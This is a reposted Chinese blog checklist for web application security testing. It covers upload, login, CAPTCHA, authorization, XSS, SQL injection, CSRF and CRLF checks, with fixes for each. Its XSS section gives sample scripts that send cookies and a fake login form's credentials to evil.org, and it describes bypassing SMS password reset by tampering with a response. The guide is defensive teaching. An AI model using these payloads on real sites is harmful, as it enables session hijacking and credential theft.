搜索
查看
编辑修改
首页
UNITY
NODEJS
PYTHON
AI
GIT
PHP
GO
CEF3
JAVA
HTML
CSS
搜索
小舞很执着
这个屌丝很懒,什么也没留下!
关注作者
热门标签
jquery
HTML
CSS
PHP
ASP
PYTHON
GO
AI
C
C++
C#
PHOTOSHOP
UNITY
iOS
android
vue
xml
爬虫
SEO
LINUX
WINDOWS
JAVA
MFC
CEF3
CAD
NODEJS
GIT
Pyppeteer
article
热门文章
1
背包问题详解(动态规划):01背包、完全背包、多重背包_01背包完全背包多重背包
2
mysql中in查询效率低的替代方法_MySQL 数据库设计总结
3
ubuntu 20.04 安装 huggingface transformers 环境_huggingface 安装包
4
《昇思25天学习打卡营第21天|基于 MindSpore 实现 BERT 对话情绪识别》
5
Cobalt strike安装使用_cobalt strike liunx 安装
6
10大最具潜力IT专业认证_it行业十大热门认证
7
从开始测试到年薪40W,我的自动化测试艰辛历程
8
成为一名高级网络安全工程师,你需要学习什么?_高级的网络安全工程师需要会什么
9
【附源码】基于flask框架的工程机械设备租赁系统(python+mysql+论文)_工程机械租赁系统数据库设计
10
c++ A*算法代码,(复制粘贴直接能跑)_a*算法c++代码
当前位置:
article
> 正文
WEB安全测试要点总结_webinspect 接口安全测试
作者:小舞很执着 | 2024-07-22 20:55:36
赞
踩
webinspect 接口安全测试
一、大类检查点:
大类
细项
上传功能
绕过文件上传检查功能
上传文件大小和次数限制
注册功能
注册请求是否安全传输
注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题
登录功能
登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息
验证码功能
验证码的一次性
验证码绕过
短信验证码轰炸
忘记密码功能
通过手机号找回
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求
横向越权测试
请测试所有接口越权情况
纵向越权测试
请测试所有接口越权情况
XSS测试
反射型XSS
存储型XSS
DOM型XSS
SQL注入测试
SQL注入测试
写接口限制测试
写接口限制测试
CSRF测试
CSRF测试
敏感信息泄露
SVN信息泄露
页面泄露敏感信息
目录遍历
目录遍历
CRLF测试
CRLF测试
任意文件读取
任意文件读取
URL重定向测试
URL重定向测试
点击劫持ClickJacking
页面点击劫持
XXE
XXE测试
SSRF
SSRF
CORS问题
CORS问题
二、测试项详细说明
上传功能
绕过文件上传检查功能
上传文件大小和次数限制
注册功能
注册请求是否安全传输
注册时密码复杂度是否后台校验
激活链接测试
重复注册
批量注册问题
登录功能
登录请求是否安全传输
会话固定:Session fixation attack(会话固定攻击)是利用服务器的session不变机制,借他人之手获得认证
和授权,然后冒充他人。
关键cookie是否HTTPONLY:如果Cookie设置了HttpOnly标志,可以在发生XSS时避免JavaScript读取Coo
kie。
但很多Cookie需要给前端JS使用。所以这里只需要关注关键Cookie,即唯一标识用户及登录状态的会话标
识需要添加这个属性。
登录请求错误次数限制
“记住我”功能:勾选“记住我”后,Cookie中记录了用户名和密码信息。。。
本地存储敏感信息
验证码功能
验证码的一次性
验证码绕过
短信验证码轰炸:如果这个接口没有限制策略,就会被人恶意利用
忘记密码功能
通过手机号找回:不过由于程序设计不合理,导致可以绕过短信验证码,从而修改别人的密码。(使用
burpsuite抓包,修改响应值true)
通过邮箱找回
密码安全性要求
密码复杂度要求
密码保存要求
横向越权测试
不同用户之间session共享,可以非法操作对方的数据。
纵向越权测试
很多应用简单的通过前端判断,或者低权限角色看不到对应的菜单,但并未在后台去做当前登录用户是
否有权限。
XSS测试
跨站脚本攻击(Cross Site Scripting):恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之
时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
反射型XSS:
利用请求参数param2,进行XSS注入,设置js等可执行或可跳转语句。param2=<script>document.writ
e('<imgsrc="http://evil.org?grabcookie.jsp?cookie='+encodeURI(document.cookie)+'"/>')</script>。
这个网站的已登录用户去点击,cookie会被发送到 evil.org 上去。
处理意见:对特殊字符转义输出,特别是'"<>这几个。
存储型XSS:
在论坛上发表帖子,假设论坛有漏洞,可以在帖子中注入下面的JS内容:
<script>
document.body.innerHTML="<h1>PleaseLogin</h1><form
action=http://evil.org/grabpassword.jspmethod=post><br>User name:<input type=text
name=user><br>Password:<inputtype=text name=password></p><input type=submit
name=login></form>
</script>
当其他用户浏览该帖子时,就会弹出登录框,如图(用户名+密码登陆界面)。
这是页面中注入的XSS生成的,如果您输入了账号密码,那就被发送给黑客了。
处理意见:对特殊字符转义输出,特别是如下几个'"<>
DOM型XSS
基于DOM型XSS样例,相比较与Reflected、Stored XSS属于server side execution issues而言,DOM base
d XSS 是client(browser)side execution issue。
Step1:如下面请求的hash部分,由客户端JS动态执行产生XSS注入。
http://www.webapp.com/example.jsp?param1=value1#
\u003ciframeοnlοad=alert('xss')\u003e
Step2:动态生成:<divid="m"><iframeοnlοad="alert('xss')"></iframe></div>
这个比较难测试,一般需要阅读页面中的JS代码,去分析。没有固定的测试步骤,还是需要大家自己多
学习。不作为强制项,WebInspect扫过即可。
处理意见:对特殊字符转义输出,特别是'"<>。
SQL注入测试
SQL注入攻击的基本原理是通过构建特殊的输入参数,迫使后台数据库执行额外的SQL语句,从而达到获
取数据库数据的目的。
这些输入参数往往包含恶意的SQL注入语句,后台处理程序没有对这些参数进行过滤,且所使用的数据库
查询手段为拼接方式,进而导致敏感数据外泄。
在动态构造SQL语句的过程中,除了特殊字符处理不当引起的SQL注入之外,错误处理不当也会为Web站
点带来很多安全隐患。
最常见的问题就是将详细的内部错误信息显示给攻击者。这些细节会为攻击者提供与网站潜在缺陷相关的
重要线索。
在SQL注入的过程中,如果Web服务器关闭了错误回显,那么是不是就安全了呢?答案显然是否定的,攻
击者仍然可以通过 "盲注"技巧测试SQL命令是否注入成功。
所谓"盲注"就是在服务器没有错误回显时完成的注入方式,攻击者必须找到一个方法来验证注入的SQL语
句是否执行。
"盲注"主要分为两种类型:基于时间的盲注和布尔盲注。
测试方法(黑盒):sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的S
QL注入漏洞,
测试方法(白盒):如果项目的数据库持久层框架是mybatis,并且他的sqlmap中编写方式都是使用#{xx
x}方式,而非使用${xxx}方式,就不存在SQl注入问题。
注:sqlMap中尽量不要使用$;$使用的是Statement(拼接字符串),会出现注入问题。#使用的是Prepare
dStatement(类似于预编译),将转义交给了数据库,不会出现注入问题;前者容易出现SQL注入之类的
安全问题,所以mybatis推荐使用#。
写接口限制测试
比如:找回密码的邮件。多次调用,造成邮件轰炸。
新增的接口,如写文章、上传文件等。这些接口如果没有任何限制,那么恶意用户使用程序无限循环的
调用接口,就会写入大量的数据。通过并发、循环方式上传大量文件,填满磁盘,消耗服务器资源。
修复建议:对写入量大的接口(如上传)做必要的限制。
CSRF测试
CSRF(Cross-site requestforgery),中文名称:跨站请求伪造。用户C在为退出A的情况下,浏览B,B
使用C的session非法访问A。
检查:
Ø 是否有防御CSRF的随机数。验证码、csrf_token等都是。 有则 (通过)
Ø 是否验证referer。有则(通过)
Ø 请求的参数均可推测,无CSRF防御机制。(不通过)
测试中,需要对所有写接口检查,可以采用如下方式,记录接口,标记是否已检查。
修复建议:
Ø 方法1:验证码
验证码制用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,验证码能够很好地遏制
CSRF攻击。
但是这种方式易用性方面似乎不是太好,并且对于简单的图形验证码也有很多绕过机制。防御CSRF的
一种辅助手段
Ø 方法2:Referer 验证
当浏览器发送一个HTTP请求时一般都会在Referer中表明发起请求的URL。
通过Referer我们可以通过判断一个请求是否为同域下发起的来防御CSRF,但是Referer可能会包含一些
敏感信息甚至在某些情况下能够被伪造。
因此我们无法依赖于Referer来作为防御CSRF的主要手段,但是可以通过Referer来监控CSRF攻击的发生。
Ø 方法3:Token验证
在请求原参数不变的条件下,新增了一个随机的、不可预测参数Token是目前最普遍有效的方式。
后端在对数据处理前会首先对Token参数进行验证,只有用户请求中的Token与用户Session(或Cookie
)中的Token一致时,才会认为请求是合法的。
由于Token的存在,攻击者就无法构造一个完整的请求实施CSRF攻击,从而保证了网站或系统的安全。
敏感信息泄露
SVN信息泄露:有数据库账号和密码等信息;
页面泄露敏感信息:有些WEB应用,在返回给客户端的响应中,包含了敏感信息,例如密码。
目录遍历
在web应用中,如下图所示的显示目录文件列表,会带来一定的安全隐患(服务器文件列表)。
CRLF
CRLF就是HTTP响应头拆分漏洞。是对用户输入的CR 和LF字符没有进行严格的过滤导致的。
修复建议:过滤CR和LF字符。或者转义。
声明:
本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:
https://www.wpsshop.cn/w/小舞很执着/article/detail/866736
推荐阅读
article
Node
Manager
管理总结_
node
-
manager
...
Node
Manager
介绍创建了Machine后,必须配置
Node
Manager
才能启动和管理配置在Machine下...
赞
踩
article
webGL
渲染
流程...
WebGL是一种用于在网页浏览器中的。它基于标准,并允许开发人员使用JavaScript和其他Web技术创建高性能的图形...
赞
踩
article
Springboot
集成
com
.
spotify
docker
-
maven
-
plugin
_
com
.sp...
Springboot
集成
com
.
spotify
docker
-
maven
-
plugin
Springboot
集成
com
.s...
赞
踩
article
Java
List
集合排序,升序
降序
_
java
list
降序
...
在C#开发中,如果一个
List
集合需要进行重新排序,直接Orderby即可,但是在
Java
中,思路一样,但是写法不一样,...
赞
踩
article
Windows
中
网络适配器
里的
VMnet1
和
VMnet8
出现感叹号怎么解决?_
vmnet1
和vmne...
Windows
中
网络适配器
里的
VMnet1
和
VMnet8
出现感叹号怎么解决?_
vmnet1
和
vmnet8
有感叹号vmne...
赞
踩
article
C语言
(万字讲解
,
帮你再现经典
游戏
) |
贪吃蛇
—— 附完整代码
可以
直接
copy
运行
游玩...
贪吃蛇
游戏
的核心玩法简单而经典:控制一条蛇在有限的空间内移动
,
吃掉食物
,
不断成长
,
但要避免撞到墙壁或者自己的身体。尽管规...
赞
踩
article
docker
镜像
打包
工具
docker
-
maven
-
plugin
使用_
docker
-
maven
-plu...
docker
-
maven
-
plugin
使用配置:1. spring boot 项目添加该插件
赞
踩
article
【
银行
测试
】
金融
项目-
支付
平台
测试
注意点总结
,
一篇概全..._
金融
测试
的
难点
是
什么...
1、互联网
金融
–
支付
结算平台
的
测试
注意一下几点:1)关于金钱
测试
过程中一定要注意
支付
的
类型
,
是
付款交易还
是
扣款交易
,
如果...
赞
踩
article
麒麟V10
安装
OPenGauss
数据库
...
openGauss
数据库
、麒麟V10、x86_64_麒麟v10
安装
opengauss麒麟v10
安装
opengauss ...
赞
踩
article
Android
packageManager
.
setComponentEnabledSetting
(...
1、
setComponentEnabledSetting
()
方法
PackageManager提供了一个
方法
,setCom...
赞
踩
article
迁移
学习
详解...
迁移
学习
可应用于多个领域: 解决标注数据稀缺性 非平稳泛化误差分析 自然语言处理 计算机视觉 医疗健康和生物信...
赞
踩
article
Android
系统调试工具大全:解密
adb
、
dumpsys
、
procrank
等神器_
procrank
...
trace
命令
是
Android
系统中一个非常有用的工具,可以用来跟踪
Android
应用程序的运行情况,包括CPU使用情况...
赞
踩
article
【
Linux
】
Linux
数据备份
dump
和
restore
命令_r
dump
命令
linux
...
目录,只能使用0级别进行完全备份,而不再支持增量备份。先执行一次完全备份,并压缩和更新备份时间。比较备份数据和实际数据的...
赞
踩
article
One
-
Fox
工具箱
V7魔
改版
_
onefox
集成
工具箱
...
在5.0版本以及星球专版的基础上重新规划了
工具箱
,去除了一些工具,新增些许新工具以及旧工具的新版本,修复部分已知BUG,...
赞
踩
article
Kafka
与
RocketMQ
的比较_
rocketmq
和
kafka
区别...
Kafka
与
RocketMQ
是目前比较常用的两种消息中间件。他们有着高吞吐、低延迟的特性,有强大的消息存储能力
和
堆积处理...
赞
踩
article
小米
手机
系统
脚本上
传
服务器
文件
夹,
小米
手机
与
电脑
可以高速
传
文件
?看看这些你也许会明白-红米
手机
怎么连...
现在很多人喜欢用
手机
办公,但是大部分的时候
手机
和
电脑
的
文件
需要互
传
,就需要借用数据线。联网的还好,不联网的没办法用网络
传
...
赞
踩
article
口袋
奇兵
游戏
攻略:云手机辅助
战锤
入侵
策略指南!_
口袋
奇兵
脚本...
在《
口袋
奇兵
》中,
战锤
入侵
是一个重要的
游戏
环节,了解如何有效地参与
战锤
入侵
能够帮助玩家获取更多的资源和提升自己的战力。本...
赞
踩
article
如何使
两个
div
在
同
一
行
显示_
两个
div
在
一
行
...
在
CSS中,
div
属于块级元素,每个块级元素默认占
一
行
高度,
一
行
内添加一个块级元素后无法一般无法添加其他元素(float...
赞
踩
article
Docker
>07 - 使用
Maven
构建
Docker
镜像_mvn
clean
package
do...
扯淡:前面章节,使用
Docker
file 构建了自己的镜像,但是在企业微服务开发中,微服务的数量是非常多的,如果将服务...
赞
踩
article
git
更新不是
最新
的
_如何在
Ubuntu
上
安装
最新
版本
的
Git
...
一种方法是从源代码
安装
。这种很酷又老派
的
方法不适合所有人。值得庆幸
的
是,
Ubuntu
Git
维护团队提供了 PPA,莫...
赞
踩
相关标签
manager
weblogic
server
scripting
ssl
user
webgl
javascript
前端
docker
spring boot
maven
java
list
蓝桥杯
java list集合排序
网络
云计算
spark
windows
c语言
游戏
开发语言
软件测试